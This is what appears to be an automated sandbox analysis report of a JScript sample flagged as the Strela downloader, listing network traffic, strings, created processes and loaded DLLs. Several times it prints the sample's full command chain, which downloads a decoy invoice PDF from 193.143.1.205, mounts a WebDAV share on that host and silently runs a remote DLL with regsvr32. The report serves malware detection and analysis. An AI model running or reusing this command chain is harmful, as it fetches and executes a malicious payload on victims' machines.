HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1414173613.000001FAFF75B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1481563244.0000015DF08C8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1476598355.0000015DF091B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.1479258719.0000015DF08FB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1481754075.0000015DF08FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/d
Source: net.exe, 00000007.00000003.1479258719.0000015DF08FB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1481754075.0000015DF08FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/t
Source: net.exe, 00000007.00000002.1481563244.0000015DF08C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tsvcs)O
Source: svchost.exe, 00000009.00000002.2694540700.0000025CD2800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1479700507.0000025CD2700000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7520, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 390712401072120127.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/60@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7624:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fqp3qqlm.bid.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\390712401072120127.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2084 --field-trial-handle=1660,i,3270865827479625269,14063271635695022371,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118092057022863.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2084 --field-trial-handle=1660,i,3270865827479625269,14063271635695022371,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
